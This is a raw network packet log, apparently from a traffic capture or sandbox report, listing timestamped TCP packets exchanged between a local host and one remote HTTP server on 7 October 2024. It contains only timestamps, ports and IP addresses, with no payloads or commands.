Oct 7, 2024 17:22:01.092598915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092628956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092660904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092715979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.092828035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.092950106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093288898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093301058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093311071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093343973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093456030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093463898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093475103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093485117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093492985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093521118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093641043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093650103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093660116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093669891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093677998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093681097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093689919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093694925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093699932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093724012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093739986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093790054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093799114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093807936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093816996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093820095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093827009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093836069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093841076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093847036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093856096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.093873024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.093898058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.168922901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.168972969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.168978930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.168983936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169006109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169025898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169061899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169073105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169085026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169095039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169095039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169111013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169131041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169146061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169156075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169181108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169193983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169209957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169224977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169250965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169262886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169296980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169358015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169367075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169378996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169389009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169390917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169406891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169416904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169419050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169429064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169441938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169449091 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169452906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169465065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169497013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169518948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169531107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169542074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169552088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169562101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169585943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169696093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169706106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169717073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169724941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169738054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169759035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169763088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169797897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169857025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169891119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169904947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169914961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169934988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169950962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.169974089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.169985056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170015097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170025110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170034885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170046091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170056105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170072079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170082092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170083046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170092106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170114994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170130968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170531034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170572042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170592070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170603037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170623064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170634985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170641899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170651913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170661926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170682907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170690060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170701027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170710087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170711994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.170736074 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.170762062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.171802998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.171859026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.171901941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.171907902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.171917915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.171926975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.171938896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.171967030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.172039032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172048092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172070026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.172096968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.172118902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172130108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172138929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172148943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172158957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172161102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.172194958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.172436953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172446012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172455072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.172486067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.173012018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173053026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.173062086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173072100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173096895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.173113108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173121929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173142910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.173170090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.173882961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173929930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.173933983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.173964977 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.191220045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.196082115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.417215109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.417316914 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.512880087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.518027067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.750541925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:01.750654936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:02.744090080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:02.768480062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.002094984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.002218008 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.343854904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.670954943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.755217075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.755228043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921497107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921518087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921540022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921550989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921562910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921571016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.921575069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921617031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.921669960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921681881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921693087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921709061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921714067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.921741962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.921900988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921911955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921921968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921932936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921941042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.921943903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:03.921978951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:03.922013044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.005304098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005321026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005331993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005367041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005377054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005381107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.005387068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005422115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.005434990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.005886078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005897999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005908966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005932093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.005955935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.005966902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005976915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005986929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.005996943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006006002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006007910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006025076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006057024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006129026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006139040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006155014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006165028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006169081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006175041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006184101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006195068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006196022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006205082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006225109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006248951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006263971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006274939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006283998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006299973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006308079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006319046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006326914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.006328106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006354094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.006367922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087320089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087346077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087357044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087366104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087379932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087399006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087410927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087420940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087472916 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087533951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087707043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087749958 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087768078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087779999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087809086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087821960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087868929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087881088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087891102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087902069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087908983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087913036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087925911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087944031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087949038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087960005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087970018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087971926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.087980032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.087999105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088030100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088188887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088226080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088234901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088244915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088268042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088284016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088327885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088339090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088349104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088360071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088363886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088382006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088399887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088404894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088409901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088418961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088428974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088438034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088438034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.088457108 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.088481903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089694977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089709044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089720011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089766026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089807034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089817047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089827061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089843035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089870930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089884996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089898109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089906931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089919090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089922905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089948893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089972973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.089975119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.089984894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090028048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090116024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090126991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090142965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090151072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090156078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090167046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090178013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090178013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090204954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090221882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090358019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090395927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090403080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090414047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090435028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090456009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.090478897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090490103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.090516090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.169809103 CEST	80	49704	46.8.231.109	192.168.2.5
